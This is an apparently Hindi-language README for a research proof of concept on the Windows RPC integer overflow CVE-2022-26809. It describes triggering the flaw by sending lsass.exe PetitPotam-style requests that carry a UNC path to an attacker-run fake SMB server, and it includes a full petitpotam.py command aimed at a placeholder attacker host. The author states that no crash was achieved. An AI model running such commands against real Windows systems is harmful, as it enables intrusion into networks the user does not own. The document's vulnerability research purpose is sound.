
CVE-2022-26809 के लिए PoC और विश्लेषण, जो Windows RPC रनटाइम इंटीजर ओवरफ्लो भेद्यता है। इसमें PetitPotam-शैली UNC पाथ रिले का उपयोग करने वाले ट्रिगर स्क्रिप्ट शामिल हैं, जो ESFRPC अनुरोधों के माध्यम से lsass.exe का शोषण करते हैं।
यह रिपॉजिटरी केवल CVE के लिए सरल शोध है, अधिक विस्तृत विश्लेषण के लिए यहाँ देखें।
अपडेट: 05/19 2022
यह विश्लेषण अभी तक पूरा नहीं हुआ है....
अपडेट: 05/22 2022
HuanGMz पोस्ट और corelight ब्लॉग वास्तविक कमजोर बिंदु दिखाते हैं:
OSF_CASSOCIATION::ProcessBindAckOrNak

यह कमजोरी CVE-2021-43893 की तरह ट्रिगर होती है, जब lsass.exe को UNC पथ के साथ ESFRPC अनुरोध भेजा जाता है, तो पीड़ित क्लाइंट के रूप में लक्ष्य तक पहुँचने का प्रयास करेगा, इसलिए यह क्लाइंट API पर पूर्णांक अतिप्रवाह (integer overflow) ट्रिगर करेगा।
यदि इस कमजोरी को ट्रिगर करने का कोई बेहतर समाधान है, तो बेझिझक issue या pr सबमिट करें :)
चूँकि कमजोरी CVE-2021-43893 की तरह ट्रिगर होती है, बस PetitPotam कोड को क्लोन करें।
बस यहाँ की तरह वातावरण तैयार करें:

fake_smb_server.py चलाएँ (क्योंकि Windows पर 445 पोर्ट System द्वारा कब्जा कर लिया गया है, इसलिए सेवा को linux पर तैनात करने की अनुशंसा की जाती है)python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe के लिए page heap सक्षम करें (हालाँकि, मैं BSoD ट्रिगर करने में सफल नहीं हुआ, लेकिन windbg के अनुसार, पूर्णांक अतिप्रवाह ट्रिगर हो गया है)पुराना विवरण
यह Windows RPC कमजोरी CVE-2022-26809 के लिए प्रतिकृति (reproduce) कोड है, और यह https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello का संदर्भ देता है।
मेरा python संस्करण 3.6.7 है
निश्चित नहीं कि GetCoalescedBuffer वास्तविक CVE-2022-26809 में शामिल होगा, बस इसे रखा है
poc.py केवल कमजोर फ़ंक्शन OSF_SCALL::GetCoalescedBuffer को ट्रिगर करने का प्रयास करता है, यह कोई क्रैश नहीं करेगा क्योंकि dword पूर्णांक अतिप्रवाह को पुन: उत्पन्न करना बहुत कठिन है। और rpcrt.py python पैकेज impacket.dcerpc.v5.rpcrt है, कमजोरी को ट्रिगर करने के लिए इसे मूल से बदलें (मूल वाले का बैकअप लेना याद रखें :) मेरा मानना है कि rpcrt.py में बहुत सारे बग हैं)।
यदि यह काम नहीं करता है, तो शायद wireshark बग का पता लगाने में मदद कर सकता है।
यदि आवश्यक हो, तो इसे पुनर्निर्माण करने के लिए बस nmake का उपयोग करें।